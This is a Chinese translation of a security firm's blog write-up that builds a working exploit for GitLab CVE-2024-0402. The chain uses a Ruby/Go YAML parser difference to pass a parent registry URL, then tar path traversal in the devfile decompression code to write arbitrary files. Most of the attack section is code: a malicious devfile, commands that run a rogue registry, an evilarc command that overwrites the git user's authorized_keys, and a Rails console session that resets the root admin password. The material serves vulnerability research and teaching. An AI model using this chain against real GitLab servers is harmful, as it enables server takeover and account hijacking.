!exploitable 第三集 - Devfile 冒险

admin 2025年4月8日00:10:48评论6 views字数 10386阅读34分37秒阅读模式

【翻译】!exploitable Episode Three - Devfile Adventures

引言

我知道,我们已经多次提到,但如果你刚刚加入,Doyensec 团队正在地中海游轮上进行公司团建。为了在派对间隙打发时间,我们进行了一些黑客会议,分析现实世界中的漏洞,最终形成了 !exploitable 系列博客文章。

第一部分中,我们探讨了 IoT ARM 漏洞利用的旅程,而第二部分则讲述了我们尝试利用《黑客帝国 2:重装上阵》中 Trinity 使用的漏洞的经历。

在本集中,我们将深入探讨 GitLab 中 CVE-2024-0402 的漏洞利用。就像洋葱一样,这个漏洞表面之下还有更多层次,从 YAML 解析器差异到解压缩函数中的路径遍历,最终实现在 GitLab 中的任意文件写入。

目前还没有公开的 PoC(概念验证),而制作它的过程堪称一次冒险,值得在原作者的博客文章基础上扩展,添加 PoC 相关信息来完成这个循环 😉

背景介绍

该漏洞影响了 GitLab 的 Workspaces 功能。简而言之,它允许开发者快速启动集成开发环境(IDE),所有依赖项、工具和配置都已准备就绪。

!exploitable 第三集 - Devfile 冒险
GitLab Workspace 环境

整个 Workspaces 功能依赖于多个组件,包括运行的 Kubernetes GitLab Agent 和 devfile 配置。

Kubernetes GitLab Agent: Kubernetes GitLab Agent 将 GitLab 连接到 Kubernetes 集群,允许用户启用部署过程自动化,并更轻松地集成 GitLab CI/CD管道。它还允许创建Workspaces

Devfile: 这是一个开放标准,用于定义容器化开发环境。简单来说,它使用 YAML 文件来配置特定项目所需的工具、运行时和依赖项。

以下是一个 devfile 配置示例(需放置在 GitLab 仓库中,文件名为 .devfile.yaml):

apiVersion:1.0.0metadata:name:my-appcomponents:-name:runtimecontainer:image:registry.access.redhat.com/ubi8/nodejs-14endpoints:-name:httptargetPort:3000

漏洞分析

让我们从公开信息开始,结合额外的代码上下文进行分析。

GitLab 使用了 devfile Gem(当然是 Ruby 编写的),在特定仓库中创建 Workspace 时,通过调用外部的 devfile 二进制文件(用 Go 编写)来处理 .devfile.yaml 文件。

在 Workspaces 应用的 devfile 预处理过程中,GitLab 中的 PreFlattenDevfileValidator 调用了一个特定的验证器 validate_parent

# gitlab-v16.8.0-ee/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb:50...defself.validate_parent(value)          value => { devfile: Hash => devfile }return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']          Result.ok(value)end...

那么,parent 选项到底是什么?根据 Devfile 文档 的描述:

如果指定了父 devfile,给定的 devfile 将从其父级继承所有行为。同时,你可以使用子 devfile 来覆盖父 devfile 中的某些内容。

文档接着描述了三种 parent 引用类型:

  • 通过注册表引用的父级 - 远程 devfile 注册表
  • 通过 URI 引用的父级 - 静态 HTTP 服务器
  • 通过 Kubernetes 资源标识的父级 - 可用的命名空间

与任何其他远程获取功能一样,这值得仔细审查以发现潜在漏洞。但乍一看,这个选项似乎被 validate_parent 函数阻止了。

YAML 解析器差异的妙用

众所周知,即使是最常用的标准实现也可能与规范定义存在细微差异。在这个特定案例中,我们需要利用 Ruby 和 Go 之间的 YAML 解析器差异。

作者为我们提供了一个新的技巧,可以添加到我们的差异笔记中。根据 YAML 规范:

  • 单感叹号 ! 用于自定义或应用程序特定的数据类型

    my_custom_data:!MyType"some value"
  • 双感叹号 !! 用于表示内置的 YAML 类型

    bool_value:!!bool"true"

他发现本地 YAML 标签符号 !RFC 参考)在 Ruby 的 yaml 库中仍然会激活 binary 格式的 base64 解码,而 Go 的 gopkg.in/yaml.v3 则会直接忽略它,导致以下行为:

➜ cat test3.yamlnormalk: just a value!binary parent: got injected### valid parent option added in the parsed version (!binary dropped)➜ go run g.go test3.yamlparent: got injectednormalk: just a value### invalid parent option as Base64 decoded value (!binary evaluated)➜ ruby -ryaml -e 'x = YAML.safe_load(File.read("test3.yaml"));puts x'{"normalk"=>"just a value""xA5xAAxDEx9E"=>"got injected"}

因此,我们能够通过 validate_parent 函数向 GitLab 传递一个包含 parent 选项的 devfile,并最终执行 devfile 二进制文件。

任意文件写入漏洞

此时,我们需要转向在 devfile 二进制文件(Go 实现)中发现的一个漏洞。在深入研究了依赖链中的多个层级后,研究人员发现了 decompress 函数。该函数从注册表库中获取 tar.gz 压缩包,并将其中的文件解压到 GitLab 服务器内部。随后,这些文件应该被移动到部署的 Workspace 环境中。

以下是 getResourcesFromRegistry 使用的存在漏洞的解压函数

// decompress extracts the archive filefunc decompress(targetDir string, tarFile string, excludeFiles []string) error {    var returnedErr error    reader, err := os.Open(filepath.Clean(tarFile))    ...    gzReader, err := gzip.NewReader(reader)    ...    tarReader := tar.NewReader(gzReader)    for {        header, err := tarReader.Next()        ...        target := path.Join(targetDir, filepath.Clean(header.Name))        switch header.Typeflag {        ...        case tar.TypeReg:            /#nosec G304 -- target is produced using path.Join which cleans the dir path */            w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))if err != nil {                returnedErr = multierror.Append(returnedErr, err)return returnedErr            }            /* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */            _, err = io.Copy(w, tarReader)if err != nil {                returnedErr = multierror.Append(returnedErr, err)return returnedErr            }            err = w.Close()if err != nil {                returnedErr = multierror.Append(returnedErr, err)return returnedErr            }        default:            log.Printf("Unsupported type: %v", header.Typeflag)        }    }returnnil}

该函数打开 tarFile 并使用 tarReader.Next() 遍历其内容。仅处理类型为 tar.TypeDir 和 tar.TypeReg 的内容,防止了符号链接(symlink)和其他嵌套利用。

然而,代码行 target := path.Join(targetDir, filepath.Clean(header.Name)) 存在路径遍历(Path Traversal)漏洞,原因如下:

  • header.Name 来自 devfile registry 提供的远程 tar 压缩包
  • filepath.Clean 已知无法阻止相对路径中的路径遍历(../ 不会被移除)

最终的执行结果将类似于:

fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // absolute pathfmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // relative path//prints/tmp/test../../../../../../../tmp/test

有许多脚本可以创建利用此类目录遍历模式的有效 PoC(Proof of Concept)恶意压缩包(例如 evilarc.py)。

漏洞链分析

  1. devfile 库在从远程 registry 获取文件时的解压缩漏洞,允许包含恶意 .tar 压缩包的 devfile registry 在 devfile 客户端系统中写入任意文件
  2. 在 GitLab 中,开发者可以构造一个 看似合法实则恶意 的 .devfile.yaml 配置文件,其中包含 parent 选项,这将强制 GitLab 服务器使用恶意 registry,从而在服务器上触发任意文件写入

利用该漏洞的要求

  • 以 开发者 身份访问目标 GitLab,并具有向仓库提交代码的权限
  • GitLab 实例中正确配置了 Workspace 功能(v16.8.0 及以下版本)

漏洞利用过程

环境配置

为了确保您全面了解情况,我必须告诉您在游轮上使用慢速网络配置 GitLab Workspaces 的感受 🌊 - 简直是噩梦!

当然,官方文档中有相关配置说明,但今天您将获得一些额外提示:

  • 请遵循 GitLab 16.8 文档 页面,而不是最新版本,因为配置已更改。不要像我们一样,在海上浪费宝贵时间。

  • 该功能变化很大,他们甚至移除了 GitLab 16.8 所需的容器镜像。因此,您需要修补缺失的 web-ide-injector 容器镜像。

    [email protected]:~$ find / -name "editor_component_injector.rb" 2>/dev/null/opt/gitlab/embedded/service/gitlab-rails/ee/lib/remote_development/workspaces/create/editor_component_injector.rb

    将 web-ide-injector 镜像第 129 行的值替换为:registry.gitlab.com/gitlab-org/gitlab-web-ide-vscode-fork/gitlab-vscode-build:latest

  • GitLab Agent 必须配置 remote_development 选项以启用 Workspaces 功能 以下是一个有效的 config.yaml 配置文件示例

    remote_development:enabled:truedns_zone:"workspaces.gitlab.yourdomain.com"observability:logging:level:debuggrpc_level:warn

愿原力与你同在,助你顺利完成配置。

漏洞利用构建

如前所述,这个漏洞链就像洋葱一样层层叠加。这里有一张经典的 2025 年 AI 生成的图片为我们描绘了这个场景:

!exploitable 第三集 - Devfile 冒险

根据公开信息,如果我们想要利用这个漏洞,需要完成以下任务:

  1. 部署一个自定义的 devfile registry,按照原始仓库的指引,这其实很简单
  2. 将其恶意化,通过包含我们精心构造的路径遍历(path traversal)的 .tar 文件,以覆盖 GitLab 实例中的某些内容
  3. 在目标 GitLab 仓库中添加一个指向该恶意 registry 的.devfile.yaml文件

为了确定 malicious.tar 文件应该放置的位置,我们不得不退一步阅读更多代码。特别是,我们需要理解易受攻击的 decompress 函数被调用的上下文环境。

最终,我们研究了 PullStackByMediaTypesFromRegistry 函数,该函数用于从指定的 registry URL 拉取允许的媒体类型(media types)的 stack 到目标目录。

详见library.go:293

func PullStackByMediaTypesFromRegistry(registry string, stack string, allowedMediaTypes []string, destDir string, options RegistryOptions) error {//... //Logic to Pull a stack from registry and save it to disk //... // Decompress archive.tar archivePath := filepath.Join(destDir, "archive.tar") if _, err := os.Stat(archivePath); err == nil {  err := decompress(destDir, archivePath, ExcludedFiles)  if err != nil {   return err  }  err = os.RemoveAll(archivePath)  if err != nil {   return err  } } return nil}

代码模式表明 devfile registry stacks 涉及其中,并且它们的结构中包含一个 archive.tar 文件。

为什么 devfile stack 需要包含一个 tar 文件?

archive.tar 文件可能被包含在软件包中,用于分发启动项目或预配置的应用程序模板。它帮助开发者快速设置工作区,包含示例代码、配置和依赖项。

通过对 devfile registry 构建过程的快速 GitHub 搜索,我们发现目标_.tar_文件应该放置在 registry 项目中的stacks/<STACK_NAME>/<STACK_VERSION>/archive.tar路径下,与正在部署的特定版本的devfile.yaml文件位于同一目录中。

!exploitable 第三集 - Devfile 冒险
GitLab Workspace Environment

因此,在我们的自定义 registry 中,用于路径遍历的 tar 文件的目标位置是:

malicious-registry/stacks/nodejs/2.2.1/archive.tar

构建并运行恶意的 devfile registry

构建我们自定义的 registry 需要一些额外的工作(无法使构建脚本正常工作,不得不进行编辑),但我们最终成功将archive.tar(例如使用 evilarc.py 创建)放置在正确的位置,并制作了合适的 index.json 来提供服务。最终可重用的结构可以在我们的 PoC 仓库中找到,这样可以节省构建 devfile registry 镜像的时间。

运行恶意 registry 的命令:

  • docker run -d -p 5000:5000 --name local-registrypoc registry:2 用于启动一个本地容器 registry,它将被 devfile registry 用来存储实际的 stack(参见 黄色 高亮部分)
  • docker run --network host devfile-index 用于运行使用官方仓库构建的恶意 devfile registry。可以在我们的 PoC 仓库中找到它
    !exploitable 第三集 - Devfile 冒险

触发漏洞 💥

一旦你有一个目标 GitLab 实例可以访问的运行中的 registry,你只需要以开发者身份在 GitLab 中进行身份验证,并利用之前展示的 YAML 解析器差异 来编辑仓库的 .devfile.yaml 文件,使其指向该 registry。以下是一个你可以使用的示例:

schemaVersion:2.2.0!binaryparent:id:nodejsregistryUrl:http://<YOUR_MALICIOUS_REGISTRY>:<PORT>components:-name:development-environmentattributes:gl/inject-editor:truecontainer:image:"registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"

要触发文件写入,只需在编辑后的仓库中启动一个新的 Workspace 并等待。

成功!我们已经在 /tmp/plsWorkItsPartyTime.txt 文件中写入了 Hello CVE-2024-0402!

接下来该怎么做

我们实现了文件写入,但这还不够,因此我们研究了一些可靠的提权方法。首先,我们通过 GitLab 服务器上的会话检查了执行文件写入的系统用户。

/tmp$ ls -lah /tmp/plsWorkItsPartyTime.txt-rw-rw-r-- 1 git git 21 Mar 10 15:13 /tmp/plsWorkItsPartyTime.txt

显然,我们的目标用户是 git,这是 GitLab 内部一个非常重要的用户。在检查可写文件以寻找快速突破点时,我们发现系统似乎已经进行了加固,没有大量可编辑的配置文件,这在意料之中。

.../var/opt/gitlab/gitlab-exporter/gitlab-exporter.yml/var/opt/gitlab/.gitconfig/var/opt/gitlab/.ssh/authorized_keys/opt/gitlab/embedded/service/gitlab-rails/db/main_clusterwide.sql/opt/gitlab/embedded/service/gitlab-rails/db/ci_structure.sql/var/opt/gitlab/git-data/repositories/.gitaly-metadata...

一些有趣的文件正等待被覆盖,但你可能已经注意到最快但不太光彩的入口:/var/opt/gitlab/.ssh/authorized_keys

值得注意的是,你可以将 SSH 密钥添加到你的 GitLab 账户,然后使用它以git用户身份 SSH 登录并执行代码相关操作。authorized_keys文件由 GitLab Shell 管理,它会从用户配置文件中添加 SSH 密钥,并将用户强制限制在一个受限的 shell 中,以进一步管理/限制用户访问级别。

以下是在 GitLab 中添加个人 SSH 密钥时,authorized_keys 文件中添加的示例行:

command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-ed25519 AAAAC3...[REDACTED]

由于我们已经获得了任意文件写入权限,我们可以直接将 authorized_keys 文件替换为包含一个不受限制的密钥的文件。回到我们的漏洞利用准备工作,为此创建一个新的 .tar 文件:

## write a valid entry in a local authorized_keys for one of your keys➜ python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix

此时,将恶意 devfile registry 中的 archive.tar 文件替换掉,重新构建镜像并运行。准备就绪后,通过在 GitLab Web UI 中创建一个新的 Workspace 来再次触发漏洞利用。

几秒钟后,您应该能够以不受限制的 git 用户身份进行 SSH 登录。下面我们还展示了如何更改 GitLab Web root 用户的密码:

➜ ssh  -i ~/.ssh/gitlab2 [email protected][email protected]:~$ gitlab-rails console --environment production-------------------------------------------------------------------------------- Ruby:         ruby 3.1.4p223 (2023-03-30 revision 957bb7cb81) [x86_64-linux] GitLab:       16.8.0-ee (1e912d57d5a) EE GitLab Shell: 14.32.0 PostgreSQL:   14.9------------------------------------------------------------[ booted in 39.28s ]Loading production environment (Rails 7.0.8)irb(main):002:0> user = User.find_by_username 'root'=> #<User id:1 @root>irb(main):003:0> new_password = 'ItIsPartyTime!'=> "ItIsPartyTime!"irb(main):004:0> user.password = new_password=> "ItIsPartyTime!"irb(main):005:0> user.password_confirmation = new_password=> "ItIsPartyTime!"irb(main):006:0> user.password_automatically_set = falseirb(main):007:0> user.save!=> true

最后,您已准备好以 root 用户身份在目标 Web 实例中进行身份验证。

结论

我们的目标是构建 CVE-2024-0402 的 PoC。尽管时间和网络连接受限,我们仍然成功完成了任务。然而,在准备 GitLab Workspaces 环境时遇到了大量配置错误,由于该功能在数小时的设置后仍无法正常工作,我们几乎要放弃了。这再次证明,由于配置时间限制,很少有人涉足的地方往往能发现非常优秀的漏洞。

特别感谢 joernchen 发现了这个漏洞链。这个漏洞不仅非常出色,而且他在这篇文章中详细描述了他的研究路径,工作做得非常出色。我们在漏洞利用过程中获得了乐趣,并希望我们的公开漏洞利用代码能够为他人节省时间!

资源

  • https://gitlab.com/gitlab-org/gitlab/-/issues/437819
  • https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/
  • https://devfile.io/docs/2.1.0/building-a-custom-devfile-registry

原文始发于微信公众号(securitainment):!exploitable 第三集 - Devfile 冒险

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日00:10:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   !exploitable 第三集 - Devfile 冒险https://cn-sec.com/archives/3926795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息